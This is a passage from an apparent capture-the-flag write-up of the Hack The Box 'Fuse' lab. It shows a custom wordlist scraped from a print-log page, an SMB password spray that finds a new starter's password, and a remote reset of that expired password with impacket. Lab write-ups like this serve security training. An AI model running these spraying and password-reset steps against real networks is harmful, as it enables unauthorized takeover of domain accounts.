Assessment
Up until this point, I have pretty much done EVERYTHING that I could think of and I couldn’t proceed further.
- I tried checking for the NoPreAuthRequire with impacket-GetNPUsers and nothin returned.
- I also tried brute-forcing passwords for each user with a relatively short list of passwords, and nothing returned.
- I checked for other potential web apps by fuzzing, and nothing returned
Since the web server has the biggest attack surface as well as information available by far, I will attempt to parse it and make a custom wordlist out of it for brute-force attack
Custom Password List
┌──(kali㉿kali)-[~/archive/htb/labs/fuse]
└─$ cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-number > passwordsThe whole idea is to extract sensitive credentials logged by users un-intentionally
So I did scrape the whole web app to create a list of password and saved it to the passwords file
This would almost NEVER work in real life
Now that I have a list of valid username and potential passwords, I will try them all against the SMB server
Brute-Forcing
┌──(kali㉿kali)-[~/archive/htb/labs/fuse]
└─$ cme smb $IP -u users -p passwords --continue-on-success
smb         10.10.10.193    445    fuse             [*] windows server 2016 standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
 
[...REDASTED...]
 
smb         10.10.10.193    445    fuse             [-] fabricorp.local\bnielson:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE 
 
[...REDACTED...]i got one hit, bnielson:Fabricorp01
I remember that the bnielson user is supposed to be a new starter
But the responds a bit strange. It says that STATUS_PASSWORD_MUST_CHANGE
 It turns out the author put a valid password on one of the printed documents and claimed that it is possible for someone to name a word document after his/her password, which is a complete garbage theory
It turns out the author put a valid password on one of the printed documents and claimed that it is possible for someone to name a word document after his/her password, which is a complete garbage theory
Fabrico01.docx is the document apparently
STATUS_PASSWORD_MUST_CHANGE or STATUS_PASSWORD_EXPIRED
 Upon searching it on Google, I found out that it is possible to reset passwords remotely over a SMB connection
Upon searching it on Google, I found out that it is possible to reset passwords remotely over a SMB connection
Remote Password Reset
┌──(kali㉿kali)-[~/archive/htb/labs/fuse]
└─$ impacket-smbpasswd fabricorp.local/bnielson:Fabricorp01@$IP -newpass Qwer1234
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
 
[!] Password is expired, trying to bind with a null session.
[*] Password was changed successfully.I’ve set the new password to Qwer1234 for the bnielson user
Now that we have a valid domain credential, I can start to further enumerate the AD environment
There likely is a script running in the background to expire & reset password of the bnielson user with an interval of 40-60 seconds
Because I keep getting invalid credential error, so I would have to continue to change the password as I go along